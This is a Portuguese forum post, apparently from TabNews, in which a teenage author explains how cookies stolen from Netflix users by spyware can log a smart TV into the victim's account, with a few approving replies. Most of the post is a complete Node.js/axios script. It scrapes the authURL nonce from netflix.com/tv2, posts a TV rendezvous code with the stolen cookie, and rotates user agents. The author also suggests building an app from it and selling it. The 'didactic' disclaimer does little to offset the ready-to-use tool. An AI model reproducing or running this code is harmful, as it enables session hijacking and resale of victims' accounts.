Executando verificação de segurança...
10

Api para logar a netflix na sua tv e ter stream de graça

Introdução

oi, pode me chamar de dudu =), tenho 16 anos e programo des dos 14, esse post é uma "continuação" do meu ultimo post, clique aqui para ver.

O objetivo principal é demostrar o que pode acontecer com suas informações apos ser vitima de um spy-ware, como exemplo vou trazer vitimas q continham conta da netflix salva no navegador.

Estrutura

É idial que você entenda o minimo de requests http pra comprender melhor o funcionamento.

O aplicativo da netflix para smart tv e tv box alem do login convecional, ele tambem conta o login atravez do qr code ou um codigo gerado q pode ser resgato dentro do site ja estando logado na sua conta, e é aparti dai que começa a nossa exploração.

Funcionamento

Bom primeiro precisamos entender que isso não vai utlizar as credencias de login da vitima como email e senha, mas sim os cookies, e logar na televisão utilizado um code gerado pelo aplicativo da netflix.

O codigo pode ser resgatado acessando https://netflix.com/tv2 , vc prenche um input com o codigo e envia, apenas isso, a request vai para a mesma rota, porem a requisição é do tipo post,contendo informações do formulario que voçe acabou de preencher

                flow: "websiteSignUp",
                authURL: "dudu",
                flowMode: "enterTvLoginRendezvousCode",
                withFields: "tvLoginRendezvousCode,isTvUrl2",
                code: '00000000',
                tvLoginRendezvousCode: '00000000',
                isTvUrl2: "true",
                action: "nextAction"

Essa informações são passadas pela propria url, o que queremos dessas informaçoes são o campo "code", e o campo "authURL", o campo code vc pode trocar facilmente pelo codigo que voçe quer usar, ja o authURL, como o nome ja sugere é um nonce, pra achar ele é so da um f12 no navegador ir em network e pesquisar pelo msm, ele vai dar match na rota anterio que voçe acabou de acessar, a /tv2 no meio do html, então o que voçe tem q fazer é basicamene ir nela, recolher o nonce e ir fazer a request post passando o seu codigo e seu nonce.

legal, mas como fazemos isso ? informaões como o userAgent e o Cookie são passadas no cabeçario da request os headers, voçe pode simplesmente manipula-los, uma biblioteca facil de manipula-los é o axios, tendo isso em mente vamos para a primeira requisição

        const getAuthUrlToken = await axios({
            url: "https://netflix.com/tv2",
            method: "GET",
            headers: {
                Cookie: cookie
            }
        });  
        console.log(await getAuthUrlToken)

Isso Nos restornara o html da pagina, voçe pode usar regex para pegar seu nonce dentro do html, para isso vamos criar uma funcao simples e pegar o nonce aparti dela


const getStr = (string, start, end) => {
    return string.match(`${start}(.*?)${end}`)?.[1];
};

pegamos o nonce

const AuthUrlToken = getStr(
            getAuthUrlToken.data,
            'authURL" value="',
            '"'
        );

pronto com o nonce em mãos vamos para a ultima requisção a post. passando o nonce e o seu codigo

 const response = await axios.post(
            "https://www.netflix.com/tv2",
            new URLSearchParams({
                flow: "websiteSignUp",
                authURL: AuthUrlToken,
                flowMode: "enterTvLoginRendezvousCode",
                withFields: "tvLoginRendezvousCode,isTvUrl2",
                code: code,
                tvLoginRendezvousCode: code,
                isTvUrl2: "true",
                action: "nextAction"
            }),
            {
                headers: {
                    authority: "www.netflix.com",
                    accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
                    "accept-language": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7",
                    "cache-control": "max-age=0",
                    cookie: cookie,
                    origin: "https://www.netflix.com",
                    referer: "https://www.netflix.com/tv2",
                    "sec-ch-ua": '"Not-A.Brand";v="99", "Chromium";v="124"',
                    "sec-ch-ua-mobile": "?0",
                    "sec-ch-ua-model": '""',
                    "sec-ch-ua-platform": '"Linux"',
                    "sec-ch-ua-platform-version": '""',
                    "sec-fetch-dest": "document",
                    "sec-fetch-mode": "navigate",
                    "sec-fetch-site": "same-origin",
                    "sec-fetch-user": "?1",
                    "upgrade-insecure-requests": "1",
                    "user-agent": userAgents[0]
                }
            }
        );

para sabermos se deu certo podemos puxar essa informação do da url final, para onde ele nos redirecionou e fazemos a verificação

 const currentUrl = response.request["_redirectable"]["_currentUrl"];
 if (
            currentUrl == "https://www.netflix.com/browse" ||
            currentUrl == "https://www.netflix.com/tv/out/success"
        )  return 'seu codigo foi resgatado'
                

uns retoques final e seu coidgo esta asim


import axios from "axios";


const userAgents = [
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/97.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/97.0.1072.62 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36"
];

const getStr = (string, start, end) => {
    return string.match(`${start}(.*?)${end}`)?.[1];
};

export default async function registerCode({ code, cookie }) {
    try {
        const getAuthUrlToken = await axios({
            url: "https://netflix.com/tv2",
            method: "GET",
            headers: {
                Cookie: cookie
            }
        });

        const AuthUrlToken = getStr(
            getAuthUrlToken.data,
            'authURL" value="',
            '"'
        );
        if (!getAuthUrlToken)
            throw new Error(
                "ocorreu um erro interno, por favor tente novamente"
            );
        const response = await axios.post(
            "https://www.netflix.com/tv2",
            new URLSearchParams({
                flow: "websiteSignUp",
                authURL: AuthUrlToken,
                flowMode: "enterTvLoginRendezvousCode",
                withFields: "tvLoginRendezvousCode,isTvUrl2",
                code: code,
                tvLoginRendezvousCode: code,
                isTvUrl2: "true",
                action: "nextAction"
            }),
            {
                headers: {
                    authority: "www.netflix.com",
                    accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
                    "accept-language": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7",
                    "cache-control": "max-age=0",
                    cookie: cookie,
                    origin: "https://www.netflix.com",
                    referer: "https://www.netflix.com/tv2",
                    "sec-ch-ua": '"Not-A.Brand";v="99", "Chromium";v="124"',
                    "sec-ch-ua-mobile": "?0",
                    "sec-ch-ua-model": '""',
                    "sec-ch-ua-platform": '"Linux"',
                    "sec-ch-ua-platform-version": '""',
                    "sec-fetch-dest": "document",
                    "sec-fetch-mode": "navigate",
                    "sec-fetch-site": "same-origin",
                    "sec-fetch-user": "?1",
                    "upgrade-insecure-requests": "1",
                    "user-agent": userAgents[
                    Math.floor(Math.random() * userAgents.length)
                    ]
                }
            }
        );
      
        const currentUrl = response.request["_redirectable"]["_currentUrl"];

        const { data } = response;
        
        if (
            data.includes(
                'class="nf-message-contents" data-uia="UIMessage-content">'
            )
        )
            throw new Error(
                "codigo invalido ! ou possivel erro interno, tente novamente"
            );
      
        if (
            currentUrl !== "https://www.netflix.com/browse" &&
            currentUrl !== "https://www.netflix.com/tv/out/success"
        )
            throw new Error("Ocorreu um erro interno, tente novamente ");
       
       
        return {
            success: true
        };
        
    } catch (e) {
        
        return {
            success: false,
            result: e
        };
        
    }
}

aparti dai voçe ja pode fazer o que quiser com, essas informações, como por exemplo criar um app e vender.

E esse é uma dasforma que pode ocorreu a comercialização dos seus cookies.

Pro favor, tome cuidado com os malware =)

Esse post tem fins totalmente didaticos.

1
1

Parabéns Dudu, continue assim! Gostei tanto de trabalho de segurança da informação que você fez explorando a plataforma quanto também da forma como você estruturou o seu pensamento em forma de código, muito bom!

2

vlw pelo apoio, professores tão em greve na escola ai to com tempo livre, aproveitei pra estudar sobre segurança da informação , comecei um curso da datasec +500 aulas e virei blogueiro aqui no tabnews ksksksk

1
1

Didatico sempre 🫡. rapaz, acredito eu q apos a tv estar logada na conta caso o cookie caia a tv continua logada, e quanto ao "tempo de vida" varia bastante.